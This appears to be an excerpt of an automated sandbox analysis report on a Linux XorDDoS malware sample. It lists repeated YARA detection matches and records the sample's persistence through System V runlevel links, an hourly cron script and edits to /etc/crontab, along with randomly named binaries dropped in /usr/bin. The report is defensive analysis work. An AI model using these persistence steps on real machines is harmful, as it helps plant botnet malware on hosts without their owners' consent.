Source: 5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: 5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/cvvhpkxdyk, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/wzulpfbuxk, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/wzulpfbuxk, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/njezqqgxiu, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/njezqqgxiu, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/tngemhgnzk, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/tngemhgnzk, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/aoyymackpm, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/aoyymackpm, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/qizbpqmtbi, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/qizbpqmtbi, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/gbsknxiwip, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/gbsknxiwip, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/uqxezzsakx, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/uqxezzsakx, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/cukrqcagnz, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/cukrqcagnz, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/cvltgpdmgk, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/cvltgpdmgk, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/zareoppgxh, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/zareoppgxh, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/gpcmhoiszu, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/gpcmhoiszu, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT
Source: /usr/bin/ysrkbnorkl, type: DROPPED	Matched rule: Detects XORDDoS Author: ditekSHen
Source: /usr/bin/ysrkbnorkl, type: DROPPED	Matched rule: Rule to detect XOR DDos infection Author: Akamai CSIRT

Source: 0Xorddos.o, type: SAMPLE	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 0Xorddos.o, type: SAMPLE	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: 5313.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5337.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5428.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5316.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5546.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5455.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5356.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5412.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5532.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5261.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5267.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5225.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5426.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5407.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5438.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5273.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5345.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5537.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5291.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5401.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5512.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5296.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5480.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5418.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5435.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5311.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5223.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5463.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5332.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5294.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5284.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5444.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5224.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5404.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5515.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5466.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5389.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5395.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5421.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5326.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5363.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5534.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5308.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5276.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5366.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5526.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5478.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5302.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5552.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5387.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5495.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5279.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5529.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5329.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5482.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5509.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5492.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5441.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/cvvhpkxdyk, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/wzulpfbuxk, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/wzulpfbuxk, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/njezqqgxiu, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/njezqqgxiu, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/tngemhgnzk, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/tngemhgnzk, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/aoyymackpm, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/aoyymackpm, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/qizbpqmtbi, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/qizbpqmtbi, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/gbsknxiwip, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/gbsknxiwip, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/uqxezzsakx, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/uqxezzsakx, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/lib/libudev.so, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/cukrqcagnz, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/cukrqcagnz, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/cvltgpdmgk, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/cvltgpdmgk, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/zareoppgxh, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/zareoppgxh, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/gpcmhoiszu, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/gpcmhoiszu, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection
Source: /usr/bin/ysrkbnorkl, type: DROPPED	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: /usr/bin/ysrkbnorkl, type: DROPPED	Matched rule: XOR_DDosv1 author = Akamai CSIRT, description = Rule to detect XOR DDos infection

Source: classification engine

Classification label: mal100.troj.evad.linO@0/19@16/0

Source: /tmp/0Xorddos.o (PID: 5222)

/run/gcc.pid: ccqixroquutawfxidxtibsbbatzhzrcb

Jump to behavior

Persistence and Installation Behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc1.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc2.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc3.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc4.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc5.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc.d/rc1.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc.d/rc2.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc.d/rc3.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc.d/rc4.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior
Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/rc.d/rc5.d/S900Xorddos.o -> /etc/init.d/0Xorddos.o			Jump to behavior

Sample tries to persist itself using cron

Source: /tmp/0Xorddos.o (PID: 5222)	File: /etc/cron.hourly/gcc.sh			Jump to behavior
Source: /bin/sh (PID: 5227)	File: /etc/crontab			Jump to behavior
Source: /bin/sed (PID: 5228)	File: /etc/crontab			Jump to behavior

Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/lib/libudev.so			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/uqxezzsakx			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/cukrqcagnz			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/ysrkbnorkl			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/zareoppgxh			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/cvltgpdmgk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/tngemhgnzk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/njezqqgxiu			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/wzulpfbuxk			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/aoyymackpm			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/gbsknxiwip			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/gpcmhoiszu			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/qizbpqmtbi			Jump to dropped file
Source: /tmp/0Xorddos.o (PID: 5222)	File written: /usr/bin/cvvhpkxdyk			Jump to dropped file

Source: /tmp/0Xorddos.o (PID: 5222)

Shell script file created: /etc/cron.hourly/gcc.sh

Jump to dropped file

